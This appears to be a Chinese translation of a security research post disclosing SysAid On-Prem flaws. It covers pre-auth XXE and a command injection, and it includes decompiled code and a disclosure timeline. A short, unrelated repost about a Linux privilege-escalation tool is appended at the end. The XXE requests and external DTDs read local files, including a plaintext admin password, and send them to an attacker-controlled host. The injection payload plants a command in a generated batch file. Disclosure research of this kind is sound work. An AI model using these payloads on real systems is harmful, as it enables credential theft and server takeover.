publicclassLshwAgentextendsHttpServlet{ publicvoiddoPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse){ try { if (new b().a(new CharArrayReader(MiscUtils.ReaderToChars(httpServletRequest.getReader())), Helper.convertParameter(httpServletRequest, ContentPackSchedulerConstants.ACCOUNT_ID), Helper.convertParameter(httpServletRequest, "serial"), Helper.convertParameter(httpServletRequest, "osName"), Helper.convertParameter(httpServletRequest, "osVer"), Helper.convertParameter(httpServletRequest, "osCode"), Helper.convertParameter(httpServletRequest, "osKernel"), Helper.convertParameter(httpServletRequest, "agentVersion"), httpServletRequest, getServletContext())) { httpServletResponse.getWriter().println("OK"); } else { httpServletResponse.sendError(500, "Error while processing request."); } } catch (Exception e) { IlientConf.logger.error("Exception in LshwAgent", e); httpServletResponse.sendError(500, "Error while processing request."); } }}
|
||||
```
|
||||
|
||||
|
||||
快速运行阅读此代码,最终调用了以下方法:
|
||||
|
||||
```
|
||||
com.ilient.agentApi.b#a
|
||||
```
|
||||
|
||||
|
||||
这个 XXE 漏洞很容易被利用。
|
||||
|
||||
用户提供的 HTTP POST 请求直接由此方法处理,执行多个操作,最终到达我们感兴趣的代码片段:
|
||||
|
||||
```
|
||||
1: public final boolean a(Reader reader, String str, String str2, String str3, String str4, String str5, String str6, String str7, HttpServletRequest httpServletRequest, ServletContext servletContext) {2: MessageDocument newInstance;3: MessageType addNewMessage;4: SoftwareType addNewSoftware;5: InventoryType inventory;6: MachineType addNewMachine;7: boolean z;8: BufferedReader bufferedReader;9: String str8;10: StringBuffer stringBuffer;11: int indexOf;12: try {13: newInstance = MessageDocument.Factory.newInstance();14: addNewMessage = newInstance.addNewMessage();15: addNewSoftware = addNewMessage.addNewBody().addNewInventory().addNewSoftware();16: this.z = addNewMessage.getBody().getInventory().addNewStorageDevices();17: inventory = addNewMessage.getBody().getInventory();18: addNewMachine = inventory.addNewMachine();19: this.y = addNewMachine.addNewMachineSMBIOS();20: this.D = inventory.addNewDisplay();21: z = false;22: 23: [..SNIP..]24: }25: } elseif (z) {26: if (readLine.startsWith("**********software-end**********")) {27: z = false;28: } else {29: String[] split = readLine.split("\\\\|\\\\|\\\\|");30: if (split != null && split.length >= 5) {31: addNewSoftware.addSoftwareProduct(split[0] + " - " + split[2] + SysaidConstants.DEFAULT_DOMAIN + split[1]);32: }33: }34: } elseif (z) {35: if (readLine.startsWith("**********partitions-end**********")) {36: z = false;37: } else {38: String[] split2 = readLine.split("[ \\\\t]+");39: int i = split2[0].length() > 0 ? 0 : 1;40: if (split2 != null && split2.length >= 4 && !split2[i + 0].equalsIgnoreCase("major")) {41: String str9 = split2[i + 3];42: if (str8 == null || !str9.startsWith(str8)) {43: str8 = str9;44: String str10 = "/dev/" + str9;45: StorageDeviceType addNewStorageDevice = this.z.addNewStorageDevice();46: addNewStorageDevice.setStorageLogicalName(str10);47: addNewStorageDevice.setStorageCapacity(a(split2[i + 2]) << 10);48: }49: }50: }51: }52: } elseif (readLine.startsWith("**********lshw-begin**********")) {53: z = true;54: } elseif (readLine.startsWith("**********meminfo-begin**********")) {55: z = true;56: } elseif (readLine.startsWith("**********cpuinfo-begin**********")) {57: z = true;58: } elseif (readLine.startsWith("**********software-begin**********")) {59: z = true;60: } elseif (readLine.startsWith("**********partitions-begin**********")) {61: z = true;62: } else {63: stringBuffer.append(readLine);64: stringBuffer.append('\\n');65: }66: IlientConf.logger.error("Error while parsing request", e);67: returnfalse;68: }69: InputSource inputSource = new InputSource(new StringReader(stringBuffer.toString()));70: SAXParser sAXParser = new SAXParser();71: sAXParser.setContentHandler(this);72: try {73: // XXE triggered here74: sAXParser.parse(inputSource);75: } catch (Exception e3) {76: IlientConf.logger.error("Error in SAXParser ", e3);77: }
|
||||
```
|
||||
|
||||
|
||||
将此代码分解为我们感兴趣的操作:
|
||||
- 行 [69]:将接收到的数据包装在InputSource使用
|
||||
|
||||
- 行 [70]:创建并配置一个新SAXParser实例。
|
||||
|
||||
- 行 [71]:将当前类设置为解析器的类ContentHandler。
|
||||
|
||||
- 行 [74]:解析用户提供的数据,触发 XXE。
|
||||
|
||||
这个 XXE 漏洞的利用也很简单,只需要传递一些参数,例如
|
||||
- osVer
|
||||
|
||||
- osCode
|
||||
|
||||
- osKernel
|
||||
|
||||
- 和其他..
|
||||
|
||||
这些参数对于满足令人兴奋的使用if()条件是必要的,这些条件再次检查所述参数的存在。
|
||||
|
||||
对于我们的第三个复杂XXE(complex complex complex),以下HTTP请求允许我们触发漏洞:
|
||||
|
||||
```
|
||||
POST/lshw?osVer=a&osCode=b&osKernel=c&agentVersion=e&serial=f HTTP/1.1Host: targetContent-Type: application/xmlContent-Length: 129<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % foo SYSTEM "http://poc-server/watchTowr.dtd">%foo;]>
|
||||
```
|
||||
|
||||
我们收到了 HTTP 200 和“OK”响应,同时立即向攻击者控制的服务器发出请求,表明成功:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
表演性XXE
|
||||
|
||||
性能漏洞(如上述 XXE)感觉像是您可能依赖咨询公司解决的当前缺乏影响的漏洞类型 - 但是,所述咨询公司必须包装在尽可能多的品牌重塑中,只要您认为可以在短时间内实现。
|
||||
|
||||
无论如何,我们离题了……
|
||||
|
||||
刚刚装备了三个 XXE - 正如上面提到的,我们仍然缺少一些重要的东西......影响。
|
||||
|
||||
我们已经满足了 PoC || GTFO 要求,但是我们能用它们做什么呢?!
|
||||
|
||||

|
||||
|
||||
在典型的 XXE 方式中,我们有几种利用方式:
|
||||
- 检索包含敏感信息的本地文件
|
||||
|
||||
- 在内部网络上戳其他系统
|
||||
|
||||
- 与本地主机绑定的网络服务交互
|
||||
|
||||
- 拒绝服务(无聊!)
|
||||
|
||||
我们决定轻松一点,直接尝试泄露文件内容,在本例中,我们的目标是win.ini文件。
|
||||
|
||||
为了做好准备,我们托管了一个exfil.dtd包含以下内容的网站:
|
||||
|
||||
```
|
||||
<!ENTITY % d SYSTEM "file:///C:\\windows\\win.ini"><!ENTITY % c "<!ENTITYrrrSYSTEM 'http://192.168.8.107/?e=%d;'>">
|
||||
```
|
||||
|
||||
|
||||
然后,利用 1000 个天才的复杂性,我们构建了以下复杂的 HTTP 请求,以使用我们的外部 DTD 触发 XXE:
|
||||
|
||||
```
|
||||
POST/mdm/serverurl HTTP/1.1Host: 192.168.8.162:8080Content-Length: 119<?xml version="1.0"?><!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://192.168.8.107/exfil.dtd">%asd;%c;]><cdl>&rrr;</cdl>
|
||||
```
|
||||
|
||||
|
||||
正如预期的那样,我们立即收到一个请求我们文件的回调exfil.dtd,但没有看到任何迹象表明第二阶段正在执行并回调给我们内容win.ini......很奇怪。
|
||||

|
||||
|
||||
我们不气馁,并假设我们不太擅长使用计算机,我们决定尝试通过手动创建一个名为secret.txt以下内容的文件来确定可能存在的限制
|
||||
:
|
||||

|
||||
|
||||
更新我们的外部 DTD 以指向这个新文件,然后我们尝试使用与之前相同的有效载荷来窃取该文件:
|
||||

|
||||
|
||||
成功了!我们立即收到了一个请求exfil.dtd,以及一个包含文件内容的第二个请求!
|
||||
|
||||
我们立即有了预感,并决定在文件中添加几行并再试一次:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
好的,我们找到了答案——如果一个文件包含多行内容,我们就无法用我们刚刚创建的XXE漏洞进行数据泄露。这虽然有点令人沮丧,但最终还是降低了这些XXE漏洞升级为更严重问题的可能性。
|
||||
|
||||
注意:在最近的 Java 版本中,专门添加了此缓解措施,以阻止 XXE 攻击期间文件内容的完全泄露。一种解决方法是(滥用)使用基于错误的 XXE,但在本例中,XXE 完全是盲目的。
|
||||
|
||||
回顾 SysAid 的架构和我们的黑客尝试手册,也许我们可以攻击内部服务。
|
||||
|
||||
没有。
|
||||
|
||||
将 XXE 升级到管理员帐户接管
|
||||
|
||||
我们不气馁,继续思考。
|
||||
|
||||
我们问自己——在这个光鲜亮丽的企业级解决方案中,是否有可能存在一个不包含特殊字符的文件,而第一行却包含一些对我们有实质用处的内容?
|
||||
|
||||
如果有一个基于文本的文件,其中包含纯文本的敏感信息怎么办?
|
||||
|
||||
“不可能,现在是 2025 年,所有重要的东西都存储在数据库中!”我们天真而无知地想。
|
||||
|
||||
SysAid 比我们领先很多步,他们有不同的想法,并且好心地在文件系统上给我们留下了一个选项:
|
||||
|
||||
```
|
||||
C:\\Program Files\\SysAidServer\\logs\\InitAccount.cmd
|
||||
```
|
||||
|
||||
|
||||
该文件由 SysAid 在安装期间创建,其第一行包含主管理员的明文密码。
|
||||
|
||||
```
|
||||
"C:\\ProgramFiles\\SysAidServer\\jre\\bin\\java" -cp "C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\sysaid.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\activation-1.1.1.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\activityLogEntry.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\agentSettings.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\agentSettingsv2.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\amazon-kinesis-client-2.2.11.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\amazon-sqs-java-extended-client-lib-2.0.2.jar; C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\stax-utils-0.0.1-s.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\streambuffer-0.4.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\sts-2.16.73.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\sysaid-common.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\sysaid.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\sysAidAgentFolder.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\test-utils-2.16.73.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\tika-core-2.9.1.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\usageStatisticsData.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\usageStatisticsQueries.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\utils-2.16.73.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\validation-api-1.1.0.Final.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\velocity-1.7.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\vpro-0.0.1-s.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\wmiInventory.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\wmiInventoryResp.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\wmiQuickScanResp.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\wmiScan.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\wmiScanResp.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\ws-commons-util-1.0.2.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\wsdl4j-1.6.2.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\wstx-asl-3.2.1.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\xalan-2.7.1.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\xercesImpl-2.9.0.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\xml-apis-0.0.1-s.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\xml-apis-xerces-0.0.1-s.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\xml-resolver-1.1.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\xmlbeans-2.3.0.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\xmlParserAPIs-0.0.1-s.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\xmlrpc-client-3.1.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\xmlrpc-common-3.1.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\XmlSchema-0.0.1-s.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\xpp3-1.1.4c.jar;C:\\ProgramFiles\\SysAidServer\\root\\WEB-INF\\lib\\zip4j-2.9.1.jar;" com.ilient.server.InitAccount "C:\\ProgramFiles\\SysAidServer\\root" "sysaid_instance" "sysaid_instance" **"admin" "P@ssW0rd"** "2"
|
||||
```
|
||||
|
||||
|
||||
看看上面的例子InitAccount.cmd——你看到了吗?
|
||||
|
||||
在最后,您可以看到用户名和明文密码。如您在上面的输出中所见,管理员用户名是admin,密码是P@ssw0rd(作为示例)。
|
||||
|
||||
这很重要,因为希望能满足我们对单行文件的需求,其中包含我们可以使用的敏感数据。
|
||||
|
||||
这个文件最棒的地方是什么?它在安装后仍然保留在系统中,即使它已经被用来创建初始账户!
|
||||
|
||||
现在,你,一个拥有推理能力的敏锐人类,可能会好奇这个文件为什么存在?好吧,发生了以下事情:
|
||||
- 当您执行 SysAid On-Perm 的安装程序时,系统会要求用户输入其全新管理员帐户的密码。
|
||||
|
||||
- 然后巧妙地获取该密码,小心地传输,然后以明文形式转储到 中InitAccount.cmd。
|
||||
|
||||
- 随后,解决方案安装程序会将所有解决方案文件复制到系统并要求您提供许可证。
|
||||
|
||||
- 如果提供了有效的许可证,则将初始化当前安装的解决方案,并作为初始化的一部分InitAccount.cmd执行。
|
||||
|
||||
- 这将创建具有指定密码的默认管理员帐户。
|
||||
|
||||
- 您会惊叹于我们为什么要为任何东西建立数据库。
|
||||
|
||||
你们中的许多人现在应该明白事情的走向了。
|
||||
|
||||
利用我们的 XXE 漏洞,我们应该能够提取此文件并检索指定的纯文本密码,从而让我们以管理员权限用户的身份获得对 SysAid 的完全管理访问权限。
|
||||
|
||||
我们来尝试一下。
|
||||
|
||||
再次强调,作为重复机器人而不是代理机器人,我们在攻击者控制的主机上托管以下 DTD:
|
||||
|
||||
```
|
||||
<!ENTITY % d SYSTEM "file:///C:\\Program Files\\SysAidServer\\logs\\InitAccount.cmd"><!ENTITY % c "<!ENTITYrrrSYSTEM 'http://192.168.8.107/?e=%d;'>">
|
||||
```
|
||||
|
||||
|
||||
其次,我们发送另一个 HTTP 请求来触发 XXE,指定我们远程托管的 DTD:
|
||||
|
||||
```
|
||||
POST/mdm/serverurl HTTP/1.1Host: targetContent-Type: application/xmlContent-Length: 121<?xml version="1.0"?><!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://192.168.8.107/exfil.dtd">%asd;%c;]><cdl>&rrr;</cdl>
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
正如预期的那样 - 我们收到了所需文件的全部内容,其中包含我们新喜欢的纯文本密码。
|
||||
|
||||
但这是预先认证的远程命令执行吗?
|
||||
|
||||
事实并非如此,所以我们继续前进。
|
||||
|
||||
从管理员到被黑:SysAid RCE 快速通关
|
||||
|
||||
2025年1月,我们向SysAid披露了上述漏洞,并花了两个月的时间真正享受与SysAid流畅、透明、愉快的沟通。
|
||||
|
||||
当我们从那个妄想的梦中醒来并好奇这些漏洞是否会进一步升级时,我们查看了历史上的漏洞披露以寻求灵感。
|
||||
|
||||
很快,我们就发现了几个之前披露并已修补的漏洞,其中大部分是用于获取某种形式的 RCE 的路径遍历,但都是在身份验证后进行的。
|
||||
|
||||
利用这些新知识,我们相信可能还有更多,我们开始寻找谜题的最后一块碎片——将我们的预授权 XXE → 密码泄露转化为全面的远程命令执行。
|
||||
|
||||
此时,即 2025 年 3 月,当我们在 SysAid 的变更日志中发现一些行描述的补丁程序听起来很像我们披露的 XXE 漏洞(已在版本中解决)时,我们从幸福和无知的生活中被粗暴地惊醒24.4.60。
|
||||
|
||||
“肯定不是吧?”我们想,令人惊讶的是,尽管其他人在与我们沟通方面遇到困难,但 SysAid 却成功与他们进行了沟通。
|
||||
|
||||
我们有些伤心,继续阅读变更日志,注意到一些额外的内容——补丁说明中提到了“操作系统命令注入漏洞修复”。
|
||||
|
||||
难道就是这个?难道这就是我们为了完成这条链条所寻找的东西吗?!
|
||||
|
||||
编者注:需要特别声明的是,在我们收到那些显然生活中无所事事的人发来的消极攻击性推文之前,我们并没有发现/报告我们现在要详述的操作系统命令注入漏洞。无论最初是谁发现的,我们都希望能够公正地处理此事。
|
||||
|
||||

|
||||
|
||||
我们开始进行补丁差异比较,并立即发现了大量变化(超过 100 个变化),但并非所有变化都与安全有关。
|
||||
|
||||
有趣的是,我们并没有立即注意到这个有趣的变化(这令人惊讶,因为操作系统命令注入漏洞通常在变化中更容易被发现)。
|
||||
|
||||
以下编译后的 JSP 页面似乎是我们需要关注的地方:
|
||||
|
||||
```
|
||||
com.ilient.jsp.API_jsp
|
||||
```
|
||||
|
||||
|
||||
这是差异,您看到漏洞了吗?
|
||||

|
||||
|
||||
让我们隔离易受攻击的代码,盯着下面的代码,并阅读以下分解:
|
||||
- 行 [45]:检查请求参数是否存在,updateApiSettings以确定用户是否打算更新 API 设置。
|
||||
|
||||
- 行 [46]:如果存在,javaLocation则直接从 HTTP 请求中提取值。
|
||||
|
||||
- 行 [47]:从中检索当前用户的账户 ID loginInformationBean。
|
||||
|
||||
- 行 [48]:通过将新内容保存javaLocation到帐户的设置中AccountPropertiesManager。
|
||||
|
||||
在这个阶段,没有直接的命令注入;用户输入只是被读取并存储。然而,由于JavaLocation之后会被放入shell脚本中(正如我们在第40-49行看到的那样),这变成了二阶命令注入的风险。
|
||||
|
||||
令人兴奋的是——我们很快意识到,我们需要准确追踪AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION构建和执行这些脚本时如何使用以及在何处使用,以确认它已被适当清理:
|
||||
|
||||
```
|
||||
1: public final void _jspService(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {2: LoginInformationBean loginInformationBean;3: if (!DispatcherType.ERROR.equals(httpServletRequest.getDispatcherType())) {4: String method = httpServletRequest.getMethod();5: if ("OPTIONS".equals(method)) {6: httpServletResponse.setHeader("Allow", "GET, HEAD, POST, OPTIONS");7: return;8: } else if (!OAuthMessage.GET.equals(method) && !OAuthMessage.POST.equals(method) && !"HEAD".equals(method)) {9: httpServletResponse.setHeader("Allow", "GET, HEAD, POST, OPTIONS");10: httpServletResponse.sendError(405, "JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS");11: return;12: }13: }14: JspWriter jspWriter = null;15: ?? r0 = 0;16: PageContext pageContext = null;17: try {18: httpServletResponse.setContentType("text/html");19: PageContext pageContext2 = f171a.getPageContext(this, httpServletRequest, httpServletResponse, (String) null, true, (int) Helper.USER_SELF_SERVICE, true);20: pageContext = pageContext2;21: pageContext2.getServletContext();22: pageContext2.getServletConfig();23: HttpSession session = pageContext2.getSession();24: JspWriter out = pageContext2.getOut();25: 26: [..SNIP..]27: 28: new VelocityContext();29: String str = null;30: r0 = PermissionsParams.SWITCH_TO_GROUP_SETTINGS.equals(httpServletRequest.getParameter("updateApi"));31: if (r0 != 0) {32: try {33: String str2 = GlobalPaths.getPath(loginInformationBean.getAccountID(), GlobalPathsKeys.API_DIR, true, false) + "/";34: IlientConf.logger.debug("Home dir " + IlientConf.HOME_DIR);35: IlientConf.logger.debug("apiLocation: " + str2);36: r0 = com.ilient.api.a.a.a(loginInformationBean, str2);37: str = r0;38: if (r0 == 0) {39: str = "Updating API successfully. Please restart your SysAid Serivce";40: }41: } catch (Exception e) {42: IlientConf.logger.error("Exception in updating API: ", e);43: }44: }45: if (PermissionsParams.SWITCH_TO_GROUP_SETTINGS.equals(httpServletRequest.getParameter("updateApiSettings"))) {46: String parameter = httpServletRequest.getParameter("javaLocation");47: r0 = loginInformationBean.getAccountID();48: AccountPropertiesManager.addAccountStringProperty(r0, AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION, parameter);49: try {50: loginInformationBean.getAccount();51: r0 = loginInformationBean;52: Account.auditAccountSave((LoginInformationBean) r0, r0.getAccountID(), resourceBundle.getString("accountSaveMsg.apiSettings"));53: } catch (Exception e2) {54: IlientConf.logger.error("Failed to save API: ", e2);55: out.write("\\n <script>\\n alert(\\"");56: out.print(Helper.escapeToJS(resourceBundle.getString("save.fail.concurrent.modification"), loginInformationBean.getCharset()));57: out.write("\\");\\n location.href=\\"API.jsp\\";\\n </script>\\n ");58: }59: }60: String accountStringProperty = AccountPropertiesManager.getAccountStringProperty(loginInformationBean.getAccountID(), AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION);61: out.write("\\n<!DOCTYPE html>\\n<html style=\\"overflow: hidden; width: 100%;\\">\\n\\n<head>\\n <META http-equiv=\\"Content-Type\\" content=\\"text/html; charset=");62: out.print(loginInformationBean.getCharset());63: out.write("\\"/>\\n <title>");64: out.print(resourceBundle.getString("page.title"));65: 66: [..SNIP..]
|
||||
```
|
||||
|
||||
|
||||
AccountPropertiesConstants.*SYSAID_API_SETTINGS_JAVA_LOCATION采用以下方法:
|
||||
|
||||
```
|
||||
com.ilient.api.a.a#a
|
||||
```
|
||||
|
||||
|
||||
该方法的相关代码如下:
|
||||
|
||||
```
|
||||
1: publicstatic String a(LoginInformationBean loginInformationBean, String str) {2: String[] list;3: if (loginInformationBean == null) {4: thrownewException("Login Bean is null.");5: }6: ResourceBundle resourceBundle = loginInformationBean.getResourceBundle();7: String str2 = null;8: String accountStringProperty = AccountPropertiesManager.getAccountStringProperty(loginInformationBean.getAccountID(), AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION);9: if (accountStringProperty == null || accountStringProperty.trim().length() == 0) {10: return resourceBundle.getString("api.empty.path");11: }12: boolean isWindows = Helper.isWindows();13: try {14: String str3 = str + "src/com/ilient/api/";15: String str4 = str3 + "sysaidObjects/";16: new File(str4).mkdirs();17: 18: 19: [..SNIP..]20: 21: printWriter2.flush();22: printWriter2.close();23: new File(str + "/classes").mkdirs();24: list = new File(str + "../lib/").list();25: } catch (Exception e) {26: IlientConf.logger.error("Error in updating SysAid API jar file", e);27: e.printStackTrace();28: str2 = resourceBundle.getString("api.update.fail.sysaid.logs");29: }30: if (list == null || list.length == 0) {31: return resourceBundle.getString("api.webinf.lib.files.missing");32: }33: String str5 = isWindows ? ";" : ":";34: StringBuffer stringBuffer = new StringBuffer();35: for (int i = 0; i < list.length; i++) {36: if (list[i].endsWith(".jar")) {37: stringBuffer.append(str5).append("../../lib/").append(list[i]);38: }39: }40: String str6 = isWindows ? "src/updateApi.bat" : "src/updateApi.sh";41: PrintWriter printWriter5 = new PrintWriter(new FileOutputStream(str + str6));42: if (!isWindows) {43: printWriter5.write("#!/bin/sh\\n");44: }45: printWriter5.write("cd \\"" + str + "src\\"\\n");46: printWriter5.write("\\"" + accountStringProperty + "javac\\" -d ../classes -cp .;../../classes" + stringBuffer.toString() + " com/ilient/api/*.java com/ilient/api/sysaidObjects/*.java\\n");47: printWriter5.write("\\"" + accountStringProperty + "wsgen\\" -d ../classes -cp .;../../classes" + str5 + "../../lib/api4sysaid.jar" + str5 + "../../lib/sysaid.jar com.ilient.api.SysaidApiService\\n");48: printWriter5.write("cd ../../lib\\n");49: printWriter5.write("\\"" + accountStringProperty + "jar\\" -cvf aapi4sysaid.jar -C ../api/classes com\\n");50: printWriter5.flush();51: printWriter5.close();52: if (!isWindows && a("chmod a+x " + str + str6) != 0) {53: str2 = resourceBundle.getString("api.grant.permissions") + str + str6;54: }55: if (a(str + str6) != 0) {56: str2 = resourceBundle.getString("api.update.fail.tomcat.logs");57: }58: return str2;59: }60:
|
||||
```
|
||||
|
||||
- 行 [8]:通过访问以下属性来检索 Java 安装路径AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION
|
||||
|
||||
- 行 [9]:继续之前请确认accountStringProperty不是。null
|
||||
|
||||
- 行 [40]:根据操作系统选择脚本文件名isWindows ? "updateApi.bat" : "updateApi.sh";
|
||||
|
||||
- 行 [41]:打开一个FileOutputStream使用str6为目标脚本名的脚本。
|
||||
|
||||
- 第 [46, 47, 49] 行 :将之前获取的 Java 路径(accountStringProperty)插入到脚本内容中,以自动执行脚本。
|
||||
|
||||
现在,让我们测试一下这个方法及其实际行为。
|
||||
|
||||
通常,该文件的内容updateApi.bat包含以下内容:
|
||||
|
||||

|
||||
|
||||
如您所见,C:\\java\\bin\\是当前 Java 路径,文件的其余部分包含多个 shell 命令,这些命令执行 Java 代码以最终生成有关当前 SysAid 实例的 API 信息。
|
||||
|
||||
正如您可能在上面的方法的代码示例中发现的那样,输入验证似乎是我们认为的无形概念,它允许攻击者轻松地将其命令注入到updateApi.bat文件创建过程中。
|
||||
|
||||
通过发送以下请求可以证明这一点:
|
||||
|
||||
```
|
||||
POST/API.jsp HTTP/1.1Host: targetContent-Type: application/x-www-form-urlencodedCookie: JSESSIONID=sessionContent-Length: 134updateApi=false&updateApiSettings=true&javaLocation="%0acalc%0a
|
||||
```
|
||||
|
||||
此示例请求演示了一个 HTTP 请求,指定了许多 POST 参数,但重要的是,该javaLocation参数的值为"%0acalc%0a- 一个双引号,后跟一个换行符,后跟我们要执行的命令(calc在本例中为 )和另一个换行符。
|
||||
|
||||
这导致updateApi.bat文件内容变成如下形式:
|
||||
|
||||

|
||||
|
||||
如您所见,该calc命令随后被注入到保存的生成命令中updateApi.bat,并将在updateApi.bat下次触发时顺利执行。
|
||||
|
||||
检测伪影生成器
|
||||
|
||||
与往常一样,我们编译了一个检测工件生成器来演示和实现预授权 RCE。
|
||||
|
||||
检测工件生成器链是两个漏洞的组合:
|
||||
- CVE-2025-2775 - 预身份验证 XXE 1
|
||||
|
||||
- 我们用它来泄露明文管理员凭证。
|
||||
|
||||
- CVE-2025-2778 - 身份验证后命令注入
|
||||
|
||||
这件艺术品可以在这里找到-
|
||||
https://github.com/watchtowrlabs/watchTowr-vs-SysAid-PreAuth-RCE-Chain?ref=labs.watchtowr.com:
|
||||
|
||||
|
||||
|
||||
受影响的版本
|
||||
|
||||
SysAid On-Prem 版本<= 23.3.40被认为受到今天博客文章中详述的漏洞的影响,并且容易受到攻击。
|
||||
|
||||
可以在此处找到 SysAid 发行说明的直接链接。
|
||||
https://documentation.sysaid.com/docs/24-40-60?ref=labs.watchtowr.com
|
||||
|
||||

|
||||
|
||||
|
||||
CVE 分配
|
||||
|
||||
感谢VulnCheck的朋友们保留以下 CVE(包括一个神秘操作系统命令注入的 CVE,因为我们无法识别分配的 CVE 标识符):
|
||||
- CVE-2025-2775 (watchTowr) - 预身份验证 XXE 1
|
||||
|
||||
- CVE-2025-2776 (watchTowr) - 预身份验证 XXE 2
|
||||
|
||||
- CVE-2025-2777 (watchTowr) - 预身份验证 XXE 3
|
||||
|
||||
- CVE-2025-2778(未知报告者)- 身份验证后操作系统命令注入
|
||||
|
||||
尽管 SysAid 在其变更日志中仅提到了 2 个 XXE 漏洞,但我们假设,由于第一个和第二个 XXE 问题(之前已详细解释过)位于同一个 Java 类(GetMdmMessage),因此 SysAid 决定将它们算作一个。
|
||||
|
||||
时间线
|
||||
|
||||
数据-------------------------细节
|
||||
|
||||
2024年12月20日 第一个 XXE 漏洞报告已发送至 SysAid
|
||||
|
||||
2024年12月22日 SysAid 回应称,他们无法重现 XXE,并强调他们有自己的漏洞披露条款和条件,希望我们以某种方式遵守。
|
||||
|
||||
2024年12月22日 watchTowr 与律师核实,以确保仍然不可能在未经同意的情况下任意约束人们签订随机合同 - 律师确认世界没有改变。
|
||||
|
||||
2025年1月3日 已发送更详细的报告,解释复杂的漏洞
|
||||
|
||||
2025年1月6日 报告了另外两个 XXE 漏洞
|
||||
|
||||
2025年1月30日 已发送后续电子邮件,寻求确认已收到报告
|
||||
|
||||
2025年2月6日 已发送后续电子邮件
|
||||
|
||||
2025年2月24日 已发送后续电子邮件
|
||||
|
||||
2025年3月3日 SysAid 发布24.4.60修复已报告漏洞的版本(未分配 CVE)
|
||||
|
||||
2025年3月22日 watchTowr 首席执行官在 LinkedIn 上向 SysAid CISO 发送消息 - 没有回复。
|
||||
|
||||
2025年3月25日 watchTowr 通知 SysAid,CVE 已通过我们在 VulnCheck 的朋友预留
|
||||
|
||||
2025年5月7日 watchTowr 发布研究报告
|
||||
|
||||
|
||||
|
||||
|
||||
感谢您抽出
|
||||
|
||||

|
||||
|
||||
.
|
||||
|
||||

|
||||
|
||||
.
|
||||
|
||||

|
||||
|
||||
来阅读本文
|
||||
|
||||

|
||||
|
||||
**点它,分享点赞在看都在这里**
|
||||
|
||||
|
46
doc/2025-05/znlinux linux全架构全漏洞提权程序.md
Normal file
46
doc/2025-05/znlinux linux全架构全漏洞提权程序.md
Normal file
@ -0,0 +1,46 @@
|
||||
# znlinux linux全架构全漏洞提权程序
|
||||
进击的HACK 2025-05-07 14:28
|
||||
|
||||

|
||||
|
||||
声明:
|
||||
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!
|
||||
如有侵权烦请告知,我会立即删除并致歉。谢谢
|
||||
!
|
||||
|
||||
文章有疑问的,可以公众号发消息问我,或者留言。我每天都会看的。
|
||||
|
||||

|
||||
|
||||
|
||||
项目地址:https://github.com/twowb/znlinux
|
||||
- 无源码
|
||||
|
||||
- 提供release
|
||||
|
||||
